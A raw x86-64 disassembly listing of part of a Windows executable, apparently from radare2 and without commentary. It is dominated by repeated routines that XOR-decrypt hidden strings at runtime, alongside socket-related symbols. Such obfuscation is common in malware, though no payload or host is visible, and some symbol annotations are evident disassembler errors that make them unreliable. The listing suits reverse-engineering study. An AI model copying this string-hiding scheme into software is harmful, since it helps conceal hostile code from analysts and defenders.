mov dword [rsp + 0x38], eax
cmp byte [0x1400a4c4b], 0
je 0x140029ec9
mov r8d, esi
cmp edi, 2
jl 0x140029e98
movdqa xmm3, xmmword [0x1400a54f0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400a5c40]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400a5c40]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, r12d
psrad xmm2, xmm0
movd xmm0, r13d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400a5510]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.9999999999999999]
movd xmm0, eax
pxor xmm2, xmm0
movd dword [rsp + 0x38], xmm2
jmp 0x140029ec9
lea r9, [rsp + 0x38]
nop dword [rax]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140029ea0
mov qword [rbp - 0x48], rsi
mov qword [rbp - 0x38], rsi
mov qword [rbp - 0x30], send
mov byte [rbp - 0x48], 0
lea rax, [rsp + 0x38]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x140029ee5
lea rdx, [rsp + 0x38]
lea rcx, [rbp - 0x48]
call fcn.140003990
nop
mov dword [rsp + 0x64], send
lea rdx, [rbp - 0x48]
cmp qword [rbp - 0x30], 0x10
setae byte [rsp + 0x49]
cmovae rdx, qword [rbp - 0x48]
lea rcx, [rbp + 0x5d8]
cmp qword [rbp + 0x5f0], 0x10
setae byte [rsp + 0x48]
mov r15, qword [rbp + 0x5d8]
cmovae rcx, r15
mov r8, qword [rbp + 0x5e8]
cmp r8, qword [rbp - 0x38]
jne 0x140029f5f
call fcn.140065590
test eax, eax
jne 0x140029f5f
mov rbx, qword [rbp - 0x18]
lea r14d, [rax + 0xd]
lea eax, [r14 - 0xc]
jmp 0x14002a0c3
mov eax, dword [0x1400a4fe8]
mov dword [rsp + 0x38], eax
cmp byte [0x1400a4feb], 0
je 0x14002a049
mov r8d, esi
cmp edi, 2
jl 0x14002a00e
movdqa xmm3, xmmword [0x1400a54f0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400a5c40]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400a5c40]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, r12d
psrad xmm2, xmm0
movd xmm0, r13d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400a5510]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.9999999999999999]
movd xmm0, eax
pxor xmm2, xmm0
movd dword [rsp + 0x38], xmm2
jmp 0x14002a049
lea r9, [rsp + 0x38]
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14002a020
mov qword [rbp - 0x18], rsi
mov qword [rbp - 8], rsi
mov qword [rbp], send
lea rax, [rsp + 0x38]
nop
inc r14
cmp byte [rax + r14], 0
jne 0x14002a060
mov r8, r14
lea rdx, [rsp + 0x38]
lea rcx, [rbp - 0x18]
call fcn.140003990
mov r14d, send
lea rdx, [rbp - 0x18]
mov rbx, qword [rbp - 0x18]
cmp qword [rbp], 0x10
cmovae rdx, rbx
lea rcx, [rbp + 0x5d8]
cmp byte [rsp + 0x48], 0
cmovne rcx, r15
mov rax, qword [rbp + 0x5e8]
cmp rax, qword [rbp - 8]
jne 0x14002a0c1
mov r8, rax
call fcn.140065590
test eax, eax
jne 0x14002a0c1
lea eax, [r14 - 0xe]
jmp 0x14002a0c3
mov eax, esi
mov qword [rbp - 0x70], rax
test r14b, 2
je 0x14002a10d
and r14d, 0xfffffffd
mov rax, qword [rbp]
cmp rax, 0x10
jb 0x14002a10d
lea rdx, [rax + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14002a104
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002b39d
mov rcx, rbx
call fcn.140062a94
nop
test r14b, 1
je 0x14002a150
cmp byte [rsp + 0x49], 0
je 0x14002a150
mov rdx, qword [rbp - 0x30]
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002a14a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002b3a3
call fcn.140062a94
nop
cmp byte [rsp + 0x48], 0
je 0x14002a18e
mov rdx, qword [rbp + 0x5f0]
inc rdx
mov rax, r15
cmp rdx, 0x1000
jb 0x14002a186
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002b3a9
mov rcx, r15
call fcn.140062a94
mov r11, qword [rbp + 0x588]
mov rbx, qword [rbp - 0x70]
mov r15d, dword [rbp + 0x278]
jmp 0x14002a1a7
mov ebx, 1
cmp byte [rbp + 0x60f], 0
je 0x14002a339
mov r8d, esi
cmp edi, 2
jl 0x14002a309
movdqa xmm5, xmmword [0x1400a54f0]
mov edx, esi
movdqa xmm4, xmmword [0x1400a5c40]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400a5510]
movd xmm8, r13d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x5fc]
mov r8d, dword [rsp + 0x50]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x14002a200
jmp 0x14002a339
lea r10, [rbp + 0x5f8]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r10], al
inc r8d
lea r10, [r10 + 1]
cmp r8d, 0x18
jl 0x14002a310
lea rax, [rbp + 0x5f8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ebx
movzx r9d, byte [rsp + 0x60]
mov r8, r11
mov edx, r15d
lea rcx, [rbp + 0x730]
call fcn.140025ff0
test al, al
jne 0x14002a72f
movups xmm0, xmmword [0x1400a4c90]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [0x1400a4ca0]
movups xmmword [rbp + 0x20], xmm1
movups xmm0, xmmword [0x1400a4cb0]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [0x1400a4cc0]
movups xmmword [rbp + 0x40], xmm1
movups xmm0, xmmword [0x1400a4cd0]
movups xmmword [rbp + 0x50], xmm0
mov eax, dword [0x1400a4ce0]
mov dword [rbp + 0x60], eax
mov r8d, esi
cmp edi, 2
jl 0x14002a4ff
movdqa xmm5, xmmword [0x1400a54f0]
movdqa xmm4, xmmword [0x1400a5c40]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400a5510]
movd xmm8, r13d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x14]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x50
jl 0x14002a3f0
cmp r8d, 0x54
jge 0x14002a543
movsxd rax, r8d
lea r9, [rbp + 0x10]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x54
jl 0x14002a510
lea rdx, [rbp + 0x10]
lea rcx, [0x140106ea0]
call fcn.140014590
mov rcx, rax
call fcn.140014800
mov eax, dword [str.I_NOX_]
mov dword [rsp + 0x40], eax
movzx eax, word [0x1400a41d4]
mov word [rsp + 0x44], ax
mov byte [rsp + 0x40], WSACleanup
xor byte [rsp + 0x41], 0x3a
xor byte [rsp + 0x42], 0x3b
xor byte [rsp + 0x43], 0x3c
xor byte [rsp + 0x44], 0x3d
xor byte [rsp + 0x45], 0x3e
lea rcx, [rsp + 0x40]
call fcn.140030ab8
nop
mov rcx, qword [rbp + 0x588]
test rcx, rcx
je 0x14002a5ec
mov rdx, qword [rbp + 0x598]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002a5d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002b3af
call fcn.140062a94
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x588], xmm0
mov qword [rbp + 0x598], rsi
lea rcx, [rbp + 0x730]
call fcn.14002b600
nop
mov rdx, qword [rbp + 0x510]
cmp rdx, 8
jb 0x14002a63f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x4f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002a63a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002b3b5
call fcn.140062a94
mov qword [rbp + 0x508], rsi
mov qword [rbp + 0x510], 7
mov word [rbp + 0x4f8], si
mov rdx, qword [rbp + 0x530]
cmp rdx, 0x10
jb 0x14002a699
inc rdx
mov rcx, qword [rbp + 0x518]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002a694
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002b3bb
call fcn.140062a94
mov qword [rbp + 0x528], rsi
mov qword [rbp + 0x530], send
mov byte [rbp + 0x518], 0
mov rcx, qword [rbp + 0x4e0]
test rcx, rcx
je 0x14002a704
mov rdx, qword [rbp + 0x4f0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002a6ed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002b0e5
call fcn.140062a94
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4e0], xmm0
mov qword [rbp + 0x4f0], rsi
lea rcx, [rbp + 0x610]
call fcn.1400069f0
nop
lea rcx, [rbp + 0x5b8]
call fcn.140008cd0
nop
lea rcx, [rbp + 0x558]
call fcn.1400057c0
jmp 0x1400285db
movups xmm0, xmmword [str.u_ZJX]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [0x1400a5270]
movups xmmword [rbp + 0x20], xmm1
movups xmm0, xmmword [0x1400a5280]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [str.I_r_nT_e_QQL___od54__:j_4n_5_r_13yX]
movups xmmword [rbp + 0x40], xmm1
movups xmm0, xmmword [0x1400a52a0]
movups xmmword [rbp + 0x50], xmm0
movzx eax, word [0x1400a52b0]
mov word [rbp + 0x60], ax
movzx eax, byte [0x1400a52b2]
mov byte [rbp + 0x62], al
cmp edi, 2
jl 0x14002a8ca
movdqa xmm5, xmmword [0x1400a54f0]
movdqa xmm4, xmmword [0x1400a5c40]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400a5510]
movd xmm8, r13d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x14]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x50
jl 0x14002a7c0
cmp esi, 0x53
jge 0x14002a90f
movsxd rax, esi
lea r8, [rbp + 0x10]
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, sil
sub al, cl
add al, 0x39
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x53
jl 0x14002a8e0
lea rdx, [rbp + 0x10]
lea rcx, [0x140106ea0]
call fcn.140014590
mov rcx, rax
call fcn.140014800
mov eax, dword [str.I_NOX_]
mov dword [rsp + 0x40], eax
movzx eax, word [0x1400a41d4]
mov word [rsp + 0x44], ax
mov byte [rsp + 0x40], WSACleanup
xor byte [rsp + 0x41], 0x3a
xor byte [rsp + 0x42], 0x3b
xor byte [rsp + 0x43], 0x3c
xor byte [rsp + 0x44], 0x3d
xor byte [rsp + 0x45], 0x3e
lea rcx, [rsp + 0x40]
call fcn.140030ab8
lea rcx, [rbp + 0x730]
call fcn.140025fb0
nop
lea rcx, [rbp + 0x588]
call fcn.140008360
nop
lea rcx, [rbp + 0x730]
call fcn.14002b600
nop
lea rcx, [rbp + 0x4f8]
call fcn.14000bcf0
nop
lea rcx, [rbp + 0x518]
call fcn.140008cd0
nop
lea rcx, [rbp + 0x4e0]
call fcn.140008360
nop
lea rcx, [rbp + 0x610]
call fcn.1400069f0
nop
lea rcx, [rbp + 0x5b8]
call fcn.140008cd0
nop
lea rcx, [rbp + 0x558]
call fcn.1400057c0
xor eax, eax
jmp 0x1400285e0
lea rdx, [rbp + 0x150]
call fcn.14002b4d0
mov r9, rax
cmp byte [rax + 0x22], 0
je 0x14002b1c5
cmp dword [reloc.d2d1.dll_Ordinal_1], 2
jl 0x14002ab5e
movdqa xmm5, xmmword [0x1400a54f0]
movdqa xmm4, xmmword [0x1400a5c40]
mov r12d, 5
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400a5510]
mov r13d, 0x1f
movd xmm8, r13d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x50], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x20
jl 0x14002aa50
cmp esi, 0x23
jge 0x14002b1c5
movsxd r8, esi
add r8, r9
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, sil
sub al, cl
add al, 0x39
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x23
jge 0x14002b1c5
jmp 0x14002ab70
lea rdx, [rbp + 0x1e8]
call fcn.14002b480
mov r9, rax
cmp byte [rax + 0x2e], 0
je 0x14002b217
cmp dword [reloc.d2d1.dll_Ordinal_1], 2
jl 0x14002ad1e
movdqa xmm5, xmmword [0x1400a54f0]
movdqa xmm4, xmmword [0x1400a5c40]
mov r12d, 5
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400a5510]
mov r13d, 0x1f
movd xmm8, r13d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x50], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x50]
nop
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x28
jl 0x14002ac10
cmp esi, 0x2f
jge 0x14002b217
movsxd r8, esi
add r8, r9
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, sil
sub al, cl
add al, 0x39
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x2f
jge 0x14002b217
jmp 0x14002ad30
lea rdx, [rbp + 0x10]
call fcn.14002b420
mov r9, rax
cmp byte [rax + 0x58], 0
je 0x14002b269
cmp dword [reloc.d2d1.dll_Ordinal_1], 2
jl 0x14002aede
movdqa xmm5, xmmword [0x1400a54f0]
movdqa xmm4, xmmword [0x1400a5c40]
mov r12d, 5
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400a5510]
mov r13d, 0x1f
movd xmm8, r13d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x50], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x58
jl 0x14002add0
cmp esi, 0x59
jge 0x14002b269
movsxd r8, esi
add r8, r9
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, sil
sub al, cl
add al, 0x39
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x59
jge 0x14002b269
jmp 0x14002aef0
lea rdx, [rbp + 0x70]
call fcn.14002b3d0
mov r9, rax
cmp byte [rax + 0x20], 0
je 0x14002b2bb
cmp dword [reloc.d2d1.dll_Ordinal_1], 2
jl 0x14002b09e
movdqa xmm5, xmmword [0x1400a54f0]
movdqa xmm4, xmmword [0x1400a5c40]
mov r12d, 5
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400a5510]
mov r13d, 0x1f
movd xmm8, r13d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x50], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x20
jl 0x14002af90
cmp esi, 0x21
jge 0x14002b2bb
movsxd r8, esi
add r8, r9
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul esi
add edx, esi
